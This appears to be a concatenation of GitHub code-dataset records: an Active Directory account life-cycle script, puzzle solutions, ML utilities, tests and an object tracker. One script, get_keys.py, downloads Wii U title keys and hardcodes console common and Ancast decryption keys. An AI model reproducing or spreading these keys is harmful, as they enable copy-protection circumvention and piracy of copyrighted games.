tqdm(nonempty_employees)\n # From employee_effects --> employees\n employees: Iterator[Dict] = map(itemgetter(0), tqdm_employees)\n\n # Enrich with engagements\n ee_employees: Iterator[Dict] = map(enrich_with_engagements, employees)\n\n # Enrich with ad_objects\n ad_employees: Iterator[Tuple[Dict, Dict]] = map(\n enrich_with_ad_user, ee_employees\n )\n\n # Apply requested filters\n for filter_func in filters:\n ad_employees = filter(filter_func, ad_employees)\n return ad_employees\n\n def disable_ad_accounts(self, dry_run: bool = False) -> Dict[str, Any]:\n \"\"\"Iterate over all users and disable non-active AD accounts.\"\"\"\n\n @apply\n def filter_user_not_in_ad(employee: dict, ad_object: dict) -> bool:\n in_ad = bool(ad_object)\n if not in_ad:\n logger.debug(\"User {} does not have an AD account\".format(employee))\n return False\n return True\n\n @apply\n def filter_user_has_engagements(employee: dict, ad_object: dict) -> bool:\n # Check the user does not have a valid engagement:\n # TODO: Consider using the lazy properties for this\n if employee[\"uuid\"] in self.users_with_engagements:\n logger.debug(\"User {} is active - do not touch\".format(employee))\n return False\n return True\n\n employees = self._gen_filtered_employees(\n [\n # Remove users that does not exist in AD\n filter_user_not_in_ad,\n # Remove users that have active engagements\n filter_user_has_engagements,\n # Remove users outside the unit tree\n self._get_filter_users_outside_unit_tree(),\n ]\n + self.disable_filters\n )\n # Employees now contain only employees which should be disabled\n for employee, ad_object in employees:\n logger.debug(\"This user has no active engagemens, we should disable\")\n # This user has an AD account, but no engagements - disable\n sam = ad_object[\"SamAccountName\"]\n status = True\n message = \"dry-run\"\n if not dry_run:\n status, message = self.ad_writer.enable_user(username=sam, enable=False)\n if status:\n logger.debug(\"Disabled: {}\".format(sam))\n self.stats[\"disabled_users\"] += 1\n self.stats[\"users\"].add(employee[\"uuid\"])\n else:\n logger.warning(\"enable_user call failed!\")\n logger.warning(message)\n self.stats[\"critical_errors\"] += 1\n\n return self.stats\n\n def create_ad_accounts(self, dry_run: bool = False) -> Dict[str, Any]:\n \"\"\"Iterate over all users and create missing AD accounts.\"\"\"\n\n @self.log_skipped(\"filter_user_already_in_ad\")\n @apply\n def filter_user_already_in_ad(employee, ad_object):\n in_ad = bool(ad_object)\n if in_ad:\n self.stats[\"already_in_ad\"] += 1\n logger.debug(\"User {} is already in AD\".format(employee))\n return False\n return True\n\n @self.log_skipped(\"filter_user_without_engagements\")\n @apply\n def filter_user_without_engagements(employee, ad_object):\n # TODO: Consider using the lazy properties for this\n if employee[\"uuid\"] not in self.users_with_engagements:\n self.stats[\"no_active_engagements\"] += 1\n logger.debug(\n \"User {} has no active engagements - skip\".format(employee)\n )\n return False\n return True\n\n def run_create_filters(tup):\n status = all(create_filter(tup) for create_filter in self.create_filters)\n if status is False:\n self.stats[\"create_filtered\"] += 1\n return status\n\n employees = self._gen_filtered_employees(\n [\n # Remove users that already exist in AD\n filter_user_already_in_ad,\n # Remove users that have no active engagements at all\n filter_user_without_engagements,\n # Check if the user is in a create-user sub-tree\n self._get_filter_users_outside_unit_tree(),\n # Run all create_filters\n run_create_filters,\n ]\n )\n # Employees now contain only employees which should be created\n for employee, ad_object in employees:\n logger.debug(\"Create account for {}\".format(employee))\n try:\n # Create user without manager to avoid risk of failing\n # if manager is not yet in AD. The manager will be attached\n # by the next round of sync.\n status = True\n message = \"dry-run\"\n status, message = self.ad_writer.create_user(\n employee[\"uuid\"], create_manager=False, dry_run=dry_run\n )\n if status:\n logger.debug(\"New username: {}\".format(message))\n self.stats[\"created_users\"] += 1\n self.stats[\"users\"].add(employee[\"uuid\"])\n else:\n logger.warning(\"create_user call failed!\")\n logger.warning(message)\n self.stats[\"critical_errors\"] += 1\n except NoPrimaryEngagementException:\n logger.exception(\"No engagment found!\")\n self.stats[\"engagement_not_found\"] += 1\n except Exception as e:\n logger.exception(\"Unknown error!\")\n export_logger.error(\n \"Error creating AD user for MO user %r: %r\",\n employee[\"uuid\"],\n e,\n )\n self.stats[\"critical_errors\"] += 1\n\n return self.stats\n\n\ndef write_stats(stats: Dict[str, Any]) -> None:\n logger.info(\"Stats: {}\".format(stats))\n stats[\"users\"] = \"Written in log file\"\n print(stats)\n\n\ndef run_preview_command_for_uuid(sync: AdLifeCycle, mo_uuid: str):\n commands = sync.ad_writer._preview_create_command(\n mo_uuid, ad_dump=None, create_manager=False\n )\n for cmd in commands:\n click.echo_via_pager(cmd)\n return commands\n\n\n@click.command()\n@click.option(\n \"--create-ad-accounts\",\n default=False,\n is_flag=True,\n help=\"Create AD Users.\",\n type=click.BOOL,\n)\n@click.option(\n \"--disable-ad-accounts\",\n default=False,\n is_flag=True,\n help=\"Disable AD Users.\",\n type=click.BOOL,\n)\n@click.option(\n \"--dry-run\",\n default=False,\n is_flag=True,\n help=\"Dry-run without changes.\",\n type=click.BOOL,\n)\n@click.option(\"--read-from-cache\", is_flag=True, envvar=\"USE_CACHED_LORACACHE\")\n@click.option(\n \"--skip-occupied-names-check\",\n default=False,\n is_flag=True,\n help=\"Skip reading all current user names from AD. Only for testing!\",\n type=click.BOOL,\n)\n@click.option(\n \"--preview-command-for-uuid\",\n help=\"Given a MO user UUID, preview the PowerShell command to be run\",\n type=click.STRING,\n)\ndef ad_life_cycle(\n create_ad_accounts: bool,\n disable_ad_accounts: bool,\n dry_run: bool,\n read_from_cache: bool,\n skip_occupied_names_check: bool,\n preview_command_for_uuid: Optional[uuid.UUID],\n) -> None:\n \"\"\"Create or disable users.\"\"\"\n logger.debug(\n \"Running ad_life_cycle with: {}\".format(\n {\n \"create_ad_accounts\": create_ad_accounts,\n \"disable_ad_accounts\": disable_ad_accounts,\n \"dry_run\": dry_run,\n \"read_from_cache\": read_from_cache,\n }\n )\n )\n\n sync = AdLifeCycle(\n read_from_cache=read_from_cache,\n skip_occupied_names_check=skip_occupied_names_check,\n )\n\n if \"crontab.SENTRY_DSN\" in sync._settings:\n sentry_sdk.init(dsn=sync._settings[\"crontab.SENTRY_DSN\"])\n\n if preview_command_for_uuid:\n run_preview_command_for_uuid(sync, str(preview_command_for_uuid))\n return\n\n if not any([create_ad_accounts, disable_ad_accounts]):\n raise click.ClickException(\n \"Either create_ad_accounts or disable_ad_accounts must be given!\"\n )\n\n if create_ad_accounts:\n stats = sync.create_ad_accounts(dry_run)\n write_stats(stats)\n\n if disable_ad_accounts:\n stats = sync.disable_ad_accounts(dry_run)\n write_stats(stats)\n\n\nif __name__ == \"__main__\":\n start_logging(export_log_file=\"AD_life_cycle.log\")\n ad_life_cycle()\n","repo_name":"OS2mo/os2mo-data-import-and-export","sub_path":"integrations/ad_integration/ad_life_cycle.py","file_name":"ad_life_cycle.py","file_ext":"py","file_size_in_byte":20093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43860690007","text":"def parse_input(input_lines):\n program = []\n for line in input_lines:\n instruction = line.split()\n if len(instruction) == 2:\n instruction[1] = int(instruction[1])\n program.append(instruction)\n return program\n\ndef simulate(program, callback):\n regValue = 1\n cycle = 0\n for instruction in program:\n cmd = instruction[0]\n if cmd == \"noop\":\n cycle += 1\n callback(cycle, regValue)\n else: #addx\n callback(cycle + 1, regValue)\n cycle += 2\n callback(cycle, regValue)\n regValue += instruction[1]\n\ndef part1(input_lines):\n program = parse_input(input_lines)\n values = []\n def callback(cycle, regValue):\n if cycle % 40 == 20:\n values.append(cycle * regValue)\n simulate(program, callback)\n return sum(values)\n\ndef part2(input_lines):\n program = parse_input(input_lines)\n image = '' \n def callback(cycle, regValue):\n nonlocal image\n horizontalPos = (cycle-1) % 40\n if horizontalPos >= regValue - 1 and horizontalPos <= regValue + 1:\n pixel = '#'\n else:\n pixel = '.'\n image += pixel\n if horizontalPos == 39:\n image += '\\n'\n simulate(program, callback)\n return image\n\nexample_image=\\\n'##..##..##..##..##..##..##..##..##..##..\\n' +\\\n'###...###...###...###...###...###...###.\\n' +\\\n'####....####....####....####....####....\\n' +\\\n'#####.....#####.....#####.....#####.....\\n' +\\\n'######......######......######......####\\n' +\\\n'#######.......#######.......#######.....\\n'\n\nexample_answers = [13140, example_image]","repo_name":"TurboErbo/AdventOfCode","sub_path":"2022/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15276373500","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : path.py\r\n# @Author: Zhan\r\n# @Date : 7/18/2019\r\n# @Desc : 数据、模型、字典等文件路径\r\n\r\nimport sys\r\nimport os\r\n\r\nfrom bert import modeling\r\n\r\nfrom flyai.utils import remote_helper\r\n\r\ncPath = os.getcwd()\r\n# 训练数据的路径\r\nDATA_PATH = os.path.join(cPath, 'data', 'input')\r\n# 模型保存的路径\r\nMODEL_PATH = os.path.join(cPath, 'data', 'output', 'model')\r\n# 训练log的输出路径\r\nLOG_PATH = os.path.join(cPath, 'data', 'output', 'logs')\r\n\r\n# 必须使用该方法下载模型,然后加载\r\nBERT_PATH = os.path.dirname(remote_helper.get_remote_date(\"https://www.flyai.com/m/chinese_L-12_H-768_A-12.zip\"))\r\nBERT_PATH = os.path.join(BERT_PATH, 'chinese_L-12_H-768_A-12')\r\nprint('BERT_PATH:{}'.format(BERT_PATH))\r\n# BERT_PATH = r'D:\\jack_doc\\python_src\\flyai\\chinese_L-12_H-768_A-12'\r\nBERT_CONFIG = modeling.BertConfig.from_json_file(os.path.join(BERT_PATH,\"bert_config.json\"))\r\nBERT_CKPT = os.path.join(BERT_PATH,'bert_model.ckpt')\r\nVOCAB_FILE=os.path.join(BERT_PATH,\"vocab.txt\")\r\n\r\n\r\nTENSORFLOW_MODEL_DIR = \"dpNet.ckpt\"","repo_name":"passionzhan/flyai_contest","sub_path":"spamMessage_bert/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"3015757088","text":"# https://programmers.co.kr/learn/courses/30/lessons/42626\nimport heapq\n\ndef solution(scoville, K):\n heapq.heapify(scoville)\n count = 0\n while True:\n first = heapq.heappop(scoville)\n if len(scoville) == 0 and first < K:\n return -1\n elif first >= K:\n return count\n else:\n second = heapq.heappop(scoville)\n new = first + 2*second\n heapq.heappush(scoville, new)\n count += 1\n","repo_name":"hongminpark/prgrms-algorithms","sub_path":"heap/lv2_더맵게.py","file_name":"lv2_더맵게.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4974916366","text":"import os, sys\nimport socket\ndef getLocalIP():\n # s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n # s.connect(('localhost', 80))\n # print (s.getsockname())\n # s.close()\n if os.name == 'nt':\n a = socket.getaddrinfo(socket.gethostname(), None, 2, 1, 0)\n print (a)\n\n\ngetLocalIP()\nsys.exit()\n\nfrom functions_s import _PLATFORM, _ROOT_DIR, info_from_db\n\n\nprint(_PLATFORM)\nprint (_ROOT_DIR)\nprint(info_from_db(title=\"startBI\", type=\"txt\"))\nsys.exit()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nabsdir = os.path.dirname(os.path.abspath(sys.argv[0]))\nos.chdir(absdir)\nrootdir = os.path.dirname(absdir)\n\n\ndef getServiceSt():\n print (os.getcwd())\n if os.name == 'posix':\n arr_rs = {\n \"mysqld\" :{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"nginx\" :{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"php-fpm\":{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"startbi\":{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n }\n # for line in os.popen(\"\"\" ps -ef |grep -P \"nginx|php|startBi|mysqld\" | grep -v \"grep\" \"\"\").read().splitlines():\n for line in os.popen(\"\"\" ps -ef \"\"\").read().splitlines():\n line = line.lower().strip()\n if not line:\n continue\n for rs in arr_rs:\n if line.find(rs) >= 0 :\n arr_rs[rs]['status'] = \"running\"\n arr_rs[rs]['code'] = 1\n\n # for rs in arr_rs:\n # if arr_rs[rs]['status'] == \"running\":\n # arr_rs[rs]['path'] = os.popen(\"which %s \" %rs).read().strip()\n\n elif os.name == 'nt':\n arr_rs = {\n \"mysqld\" :{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"nginx\" :{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"php-cgi\":{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n \"startbi\":{\"status\":\"stopped\",\"path\":\"wrong\", \"code\":0},\n }\n\n cmd_str = \"\"\"wmic process where \"name='mysqld.exe' or name='php-cgi.exe' or name='nginx.exe' or commandline='python3.exe startBI.py'\" get caption, commandline, executablePath\"\"\"\n for line in str(os.popen(cmd_str).read()).splitlines():\n line = line.lower().strip()\n if not line:\n continue\n for rs in arr_rs:\n if line.lower().find(rs) >= 0 :\n arr_rs[rs]['status'] = \"running\"\n tabs = line.split(\" \")\n arr_rs[rs]['path'] = os.path.dirname(tabs[-1])\n arr_rs[rs]['code'] = 1 if arr_rs[rs]['path'].find(rootdir) >=0 else -1\n\n return arr_rs\n\nx = getServiceSt()\n\nprint(x)\n\n# from init_db import init_db_main\n\n\n# init_db_main()","repo_name":"hanskimvz/Cosilan","sub_path":"bin/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14963179576","text":"from day7.Day7 import *\n\n\ndef test_find_possible_outer_bags():\n rules = {'vibrant bronze bag': [InnerBag(3, 'dim olive bag')],\n 'shiny teal bag': [InnerBag(1, 'posh green bag'),\n InnerBag(5, 'pale indigo bag'),\n InnerBag(1, 'mirrored purple bag')]}\n\n result = find_possible_outer_bags('pale indigo bag', rules)\n\n assert result == ['shiny teal bag']\n\n\ndef test_can_contain_target__false():\n rules = {'vibrant bronze bag': [InnerBag(3, 'dim olive bag')]}\n\n result = can_contain_target('vibrant bronze bag', 'shiny olive bag', rules)\n\n assert result is False\n\n\ndef test_can_contain_target__directly_contained():\n rules = {'vibrant bronze bag': [InnerBag(3, 'dim olive bag')]}\n\n result = can_contain_target('vibrant bronze bag', 'dim olive bag', rules)\n\n assert result is True\n\n\ndef test_can_contain_target__indirectly_contained():\n rules = {'vibrant bronze bag': [InnerBag(3, 'shiny teal bag')],\n 'shiny teal bag': [InnerBag(1, 'posh green bag'),\n InnerBag(5, 'pale indigo bag'),\n InnerBag(1, 'mirrored purple bag')]}\n\n result = can_contain_target('vibrant bronze bag', 'pale indigo bag', rules)\n\n assert result is True\n\n\ndef test_count_contained_bags():\n rules = {'vibrant bronze bag': [InnerBag(3, 'shiny teal bag')],\n 'shiny teal bag': [InnerBag(1, 'posh green bag'),\n InnerBag(5, 'pale indigo bag'),\n InnerBag(1, 'mirrored purple bag')]}\n\n result = count_contained_bags('vibrant bronze bag', rules)\n\n assert result == 3 + 3 * (1 + 5 + 1)\n\n\ndef test_count_contained_bags__from_another_example():\n rules = {'shiny gold bag': [InnerBag(2, 'dark red bag')],\n 'dark red bag': [InnerBag(2, 'dark orange bag')],\n 'dark orange bag': [InnerBag(2, 'dark yellow bag')],\n 'dark yellow bag': [InnerBag(2, 'dark green bag')],\n 'dark green bag': [InnerBag(2, 'dark blue bag')],\n 'dark blue bag': [InnerBag(2, 'dark violet bag')],\n 'dark violet bag': []}\n\n result = count_contained_bags('shiny gold bag', rules)\n\n assert result == 126\n\n\ndef test_count_contained_bags__from_example():\n rules = {'shiny gold bag': [InnerBag(1, 'dark olive bag'), InnerBag(2, 'vibrant plum bag')],\n 'dark olive bag': [InnerBag(3, 'faded blue bag'), InnerBag(4, 'dotted black bag')],\n 'vibrant plum bag': [InnerBag(5, 'faded blue bag'), InnerBag(6, 'dotted black bag')],\n 'faded blue bag': [],\n 'dotted black bag': []}\n\n result = count_contained_bags('shiny gold bag', rules)\n\n assert result == 32\n","repo_name":"treegem/AdventOfCode2020","sub_path":"src/test/day7/test_day7.py","file_name":"test_day7.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36779313525","text":"#!/usr/bin/python\nfrom urllib2 import urlopen\nimport json, unicodedata\n\n\nurl='https://wiiu.titlekeys.com/json'\nresponse = urlopen(url)\nparsed = json.load(response)\nkey_file = open(\"keys.txt\",'w') \nkey_file.write(\"\"\"#Common Keys#\nD7B00402659BA2ABD2CB0DB27FA2B656 # Wii U Common Key:\n805E6285CD487DE0FAFFAA65A6985E17 # Wii U Espresso Ancast Key\nB5D8AB06ED7F6CFC529F2CE1B4EA32FD # Wii U Starbuck Ancast Key\n############################################################\n\n\"\"\")\ndata=''\nfor i in xrange(len(parsed)):\n if parsed[i]['titleKey'] == None or parsed[i]['name'] == None:\n pass\n else:\n key = parsed[i]['titleKey']\n name = parsed[i]['name']\n name = name.replace('\\n','').replace('\\t','')\n name = unicodedata.normalize('NFKD', name).encode('ascii','ignore')\n region = parsed[i]['region']\n line_data = str(key),' # ',name,' (',region,')'\n normalized_data = \"\".join(line_data)\n key_file.write(\"%s\\n\" %normalized_data)\nkey_file.close()\n","repo_name":"d0t1q/wiiu_keys","sub_path":"get_keys.py","file_name":"get_keys.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"30136138028","text":"from collections import deque\nfrom sys import stdin\ndef input(): return stdin.readline().strip()\n\n\ndef read_int():\n return int(input())\n\n\ndef read_ints():\n return map(int, input().split())\n\n\nt = read_int()\nfor case_num in range(t):\n n = read_int()\n d = [list(read_ints()) for _ in range(n)]\n mem = [[] for _ in range(n + 1)]\n valid = True\n for i, (u, v) in enumerate(d):\n if u == v:\n valid = False\n break\n mem[u].append(i)\n mem[v].append(i)\n if len(mem[u]) > 2 or len(mem[v]) > 2:\n valid = False\n break\n\n if not valid:\n print('NO')\n continue\n\n vis = [False] * (n + 1)\n num = [set() for _ in range(3)]\n state = [0] * n\n\n for i in range(1, n + 1):\n if vis[i]:\n continue\n\n dq = deque()\n dq.append(i)\n\n while len(dq) > 0:\n u = dq.popleft()\n a, b = mem[u]\n if state[a] == state[b] == 0:\n state[a] = 1\n state[b] = 2\n num[1].add(u)\n up1 = d[a][0] + d[a][1] - u\n num[1].add(up1)\n if not vis[up1]:\n vis[up1] = True\n dq.append(up1)\n\n num[2].add(u)\n up2 = d[b][0] + d[b][1] - u\n num[2].add(up2)\n if not vis[up2]:\n vis[up2] = True\n dq.append(up2)\n elif state[a] + state[b] == 3:\n continue\n elif state[a] == state[b]:\n valid = False\n break\n elif state[a] > 0:\n state[b] = 3 - state[a]\n num[state[b]].add(u)\n up2 = d[b][0] + d[b][1] - u\n num[state[b]].add(up2)\n if not vis[up2]:\n vis[up2] = True\n dq.append(up2)\n elif state[b] > 0:\n state[a] = 3 - state[b]\n num[state[a]].add(u)\n up1 = d[a][0] + d[a][1] - u\n num[state[a]].add(up1)\n if not vis[up1]:\n vis[up1] = True\n dq.append(up1)\n\n if not valid:\n break\n\n print('YES' if valid else 'NO')\n","repo_name":"lucifer1004/codeforces","sub_path":"1702/e/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"15063188398","text":"# coding=utf-8\nfrom scipy.spatial import distance as dist\nfrom collections import OrderedDict\nimport numpy as np\n\nclass CentroidTracker:\n def __init__(self, maxDisappeared=50, maxDistance=50):\n # Inicializamos el próximo Object ID único, junto a dos diccionarios ordenados,\n # que se utilizarán para mantener constancia de los objetos que se están siguiendo\n # (y calculando su centroide), y para mantener dichos objetos que ya no son visibles\n # durante un periodo de tiempom antes de marcarlos como perdidos.\n self.nextObjectID = 0\n self.objects = OrderedDict()\n self.disappeared = OrderedDict()\n\n # Cual es el número de frames consecutivos máximo que un objeto puede estar\n # desaparecido antes de ser desregistrado como objeto.\n self.maxDisappeared = maxDisappeared\n\n self.maxDistance = maxDistance\n\n def register(self, centroid):\n # Cuando registramos un objeto, utilizamos el siguiente ID disponible\n # para almacenar su centroide.\n self.objects[self.nextObjectID] = centroid\n self.disappeared[self.nextObjectID] = 0\n self.nextObjectID += 1\n\n def deregister(self, objectID):\n # Una vez se ha dado por perdido un objeto, desregistramos su ID.\n del self.objects[objectID]\n del self.disappeared[objectID]\n\n def update(self, rects):\n # Comprobamos si la lista de bounding boxes (rects) está vacía.\n if len(rects) == 0:\n # Si teníamos algún objeto marcado como tracked, lo marcamos como desaparecido.\n for objectID in list(self.disappeared.keys()):\n self.disappeared[objectID] += 1\n # Si hemos alcanzado el máximo número de frames consecutivos,\n # desregistramos el objeto\n if self.disappeared[objectID] > self.maxDisappeared:\n self.deregister(objectID)\n # No existen centroides para trackear.\n return self.objects\n\n # Inicializamos un array para los centroides recibidos en el frame actual, y lo\n # inicializamos a 0\n inputCentroids = np.zeros((len(rects), 2), dtype=\"int\")\n\n # Iteramos sobre las bounding boxes\n for (i, (startX, startY, endX, endY)) in enumerate(rects):\n # Calculamos el centroide\n cX = int((startX + endX) / 2.0)\n cY = int((startY + endY) / 2.0)\n inputCentroids[i] = (cX, cY)\n\n # Si no estamos trackeando ningun objeto, registramos los nuevos centroides\n if len(self.objects) == 0:\n for i in range(0, len(inputCentroids)):\n self.register(inputCentroids[i])\n\n # Si ya estamos trackeando algún objeto, primero intentamos emparejar\n # los nuevos centroides con los que eisten ya de los objetos tackeados.\n else:\n # Obtenemos los IDs y centroides de los objetos\n objectIDs = list(self.objects.keys())\n objectCentroids = list(self.objects.values())\n\n # Calculamos la distancia entre cada par de centroide trackeado y\n # de nuevos centroides. Nuestro objetivo es emparejar un nuevo centroide con alguno\n # de los existentes.\n D = dist.cdist(np.array(objectCentroids), inputCentroids)\n\n # Para poder emparejarlos, debemos encontrar el valor más pequeño en cada fila,\n # y entonces ordenar la fila por indexes de menor a mayor valor. De tal forma que\n # la fila con el valor más pequeño quede al principio.\n # axis = 0 es columnas, axis = 1 es filas.\n # TODO Probar esto y que es argsort()\n\n # Después de entender mejor, esto devuelve el valor mínimo de cada fila, y además,\n # los ordena de menor a mayor, y devuelve un array del siguiente tipo, por ejemplo,\n # si tuvieramos solo 2 rows: rows = [1,0]. Es to significaría que el valor mínimo\n # se encuentra en la row 1, y el siguiente valor mínimo en la row 0, y así.\n rows = D.min(axis=1).argsort()\n\n # Después, buscamos los valores mínimos en cada columna, y ordenándolos\n # utilizando los index de las filas calculados anteriormente\n # axis = 0 es columnas, axis = 1 es filas.\n\n # Después, el argmin hace lo mismo que el min, devuelve las\n # columnas con los valores mínimos de cada fila, en el caso de tener 2 filas,\n # podría devolver algo como, cols = [1, 2], indicando que en la columna 1 se encuentra\n # el valor más pequeño de la fila 0, y en la columna 2 se encuentra el valor más pequeño\n # de la columna 1. El [rows] del final sirve para ordenar los valores por filas, por tanto\n # si el valor de la fila 1, es menor que le de la fila 0, el resultado de cols será,\n # cols = [2, 1].\n cols = D.argmin(axis=1)[rows]\n\n # Para determinar si tenemos que actualizar, registrar o desregistrar un objeto,\n # debemos trackear cual de los indexes de las filas y columnas ya hemos examinado.\n usedRows = set()\n usedCols = set()\n\n # Iteramos sobre cada tupla de combinación de index (fila, columna)\n # Zip devuelve un iterador de tuplas\n\n # Después, el zip lo que hace es combinar las filas con las columnas, si por ejemplo las\n # rows = [1, 0], y las cols = [2, 1], entonces el zip(rows, cols) = [(1, 2), (0, 1)]\n # Esto implica, que el segundo objeto existente, hará match con el tercer input centroid,\n # ya que el zip devuelve (1, 2), y del mismo modo, el primer objeto existente hará match\n # con el segundo input centroid (0, 1).\n for (row, col) in zip(rows, cols):\n\n # Si ya hemos examinado la fila o la columna, la ignoramos\n if row in usedRows or col in usedCols:\n continue\n\n # if the distance between centroids is greater than\n # the maximum distance, do not associate the two\n # centroids to the same object\n if D[row, col] > self.maxDistance:\n continue\n\n # Si no, obtenemos el objectID de la fila actual, establecemos su\n # nuevo centroide y reseteamos el contador de desaparecido.\n objectID = objectIDs[row]\n self.objects[objectID] = inputCentroids[col]\n self.disappeared[objectID] = 0\n\n # Indicamos que hemos examinado el index de la fila y la columna.\n usedRows.add(row)\n usedCols.add(col)\n\n # Calculamos el indice de la fila y columna que todavia no hemos examinado\n unusedRows = set(range(0, D.shape[0])).difference(usedRows)\n unusedCols = set(range(0, D.shape[1])).difference(usedCols)\n\n # En el caso de que el numero de centroides de objeto es mayor o igual\n # al numero de nuevos centroides, debemos comprobar si algunos objetos\n # han desaparecido\n if D.shape[0] >= D.shape[1]:\n\n # Iterar sobre las filas sin examinar\n for row in unusedRows:\n\n # Obtener el ID del objeto de la fila correspondiente\n # e incrementar el contador de desaparecido.\n objectID = objectIDs[row]\n self.disappeared[objectID] += 1\n\n # Revisamos que el contador no haya llegado a su límite, si es así\n # desregistramos el objeto\n # for warrants deregistering the object\n if self.disappeared[objectID] > self.maxDisappeared:\n self.deregister(objectID)\n\n # Si no, si el número de nuevos centroides es mayor que el número de \n # centroides registrados, debemos registrar todos los nuevos.\n else:\n for col in unusedCols:\n self.register(inputCentroids[col])\n\n # Devolvemos los objetos trackeables\n return self.objects\n","repo_name":"alu0100881165/tfg","sub_path":"centroidTrackable/centroidtracker.py","file_name":"centroidtracker.py","file_ext":"py","file_size_in_byte":8195,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39782816878","text":"import gym\nfrom stable_baselines import A2C\nfrom stable_baselines.common.vec_env import DummyVecEnv\nfrom stable_baselines.bench import Monitor\nimport numpy as np\nimport os\n\n\n# 正常的 Gym-wrapper, 没有完成任何工作\nclass CustomWrapper(gym.Wrapper):\n def __init__(self, env):\n # 输出参数只有一个, 是 env\n super(CustomWrapper, self).__init__(env)\n\n def reset(self):\n obs = self.env.reset()\n return obs\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n return obs, reward, done, info\n\n##############################\n# 1. 限制周期长度的wrapper\n##############################\n\n\nclass TimeLimitWrapper(gym.Wrapper):\n ## 显示了周期的最大长度. 在 init 里面初始化 max_steps, 在 step 中检测如果超过 max_steps 就将 done 设为 True\n def __init__(self, env, max_steps=100):\n super(TimeLimitWrapper, self).__init__(env)\n self.max_steps = max_steps\n self.current_step = 0\n\n def reset(self):\n self.current_step = 0\n return self.env.reset()\n\n def step(self, action):\n self.current_step += 1\n obs, reward, done, info = self.env.step(action)\n if self.current_step >= self.max_steps:\n done = True\n info['time_limit_reached'] = True\n return obs, reward, done, info\n\n\ndef test_time_limit_wrapper():\n # 100 {'time_limit_reached': True}\n env = gym.make(\"Pendulum-v0\")\n env = TimeLimitWrapper(env, max_steps=100)\n obs = env.reset()\n done = False\n n_steps = 0\n while not done:\n random_action = env.action_space.sample()\n obs, reward, done, info = env.step(random_action)\n n_steps += 1\n print(n_steps, info)\n\n##############################\n# 2. 限制动作范围的 wrapper\n##############################\n\n\nclass NormalizeActionWrapper(gym.Wrapper):\n # 将 action space 规约到 -1~1 之间\n # step 函数中, 将输入的 (-1,1) 的动作, 重新规约到原来的动作空间中, 再调用函数进行 step\n def __init__(self, env):\n # 保留原来的 action space 的范围\n action_space = env.action_space\n self.low, self.high = action_space.low, action_space.high\n # 重置 action space 为 [-1,1] 之间\n env.action_space = gym.spaces.Box(low=-1, high=1, shape=action_space.shape, dtype=np.float32)\n super(NormalizeActionWrapper, self).__init__(env)\n\n def rescale_action(self, scaled_action):\n # 将输入 x~[-1, 1] 之间的动作重新规约到 y~[self.low, high] 之间\n # y = (x-(-1))*[(high-low)/(1-(-1))]+low\n return (scaled_action + 1.0) * (self.high - self.low) * 0.5 + self.low\n\n def reset(self):\n return self.env.reset()\n\n def step(self, action):\n rescaled_action = self.rescale_action(action)\n obs, reward, done, info = self.env.step(rescaled_action)\n return obs, reward, done, info\n\n\ndef test_normalize_action_wrapper():\n # 在原始初始化的 env 中采样多个动作, 随后再 NormalizeActionWrapper 后的 env 中采样多个动作\n env = gym.make(\"Pendulum-v0\")\n print(\"original env:\", env.action_space.low, env.action_space.high)\n env.reset()\n for _ in range(5):\n print(\"sample action:\", env.action_space.sample())\n\n # wrapper\n env = NormalizeActionWrapper(env)\n env.reset()\n for _ in range(5):\n print(\"Normalized action:\", env.action_space.sample())\n\n\n##############################\n# 3. wrapper 与 stable baselines 中的 agent 结合进行训练\n##############################\n\n\n# Monitor 可以记录环境在运行过程中产生的记录 mean episode reward, mean episode length\ndef test_monitor():\n env = gym.make('Pendulum-v0')\n env = Monitor(gym.make('Pendulum-v0'), filename=None, allow_early_resets=True)\n normalized_env = NormalizeActionWrapper(env)\n normalized_env = DummyVecEnv([lambda: normalized_env])\n # model\n model_2 = A2C('MlpPolicy', normalized_env, verbose=1).learn(1000)\n\n\n################################\n# 4. VecNormalize 是 stable baselines 中提供的规约, 记录在运行过程中的 state 的 std 和 return 的 std\n################################\nfrom stable_baselines.common.vec_env import VecNormalize, VecFrameStack\n\n\ndef test_vec_normalize():\n env = DummyVecEnv([lambda: gym.make(\"Pendulum-v0\")])\n normalized_vec_env = VecNormalize(env)\n obs = normalized_vec_env.reset()\n for _ in range(10):\n action = [normalized_vec_env.action_space.sample()]\n obs, reward, _, _ = normalized_vec_env.step(action)\n print(obs, reward)\n\n################################\n# 5. VecFrameStack 用于在 Atari 将相邻几帧进行叠加\n################################\n\n\ndef test_frame_stack():\n env = DummyVecEnv([lambda: gym.make(\"Pendulum-v0\")])\n obs = 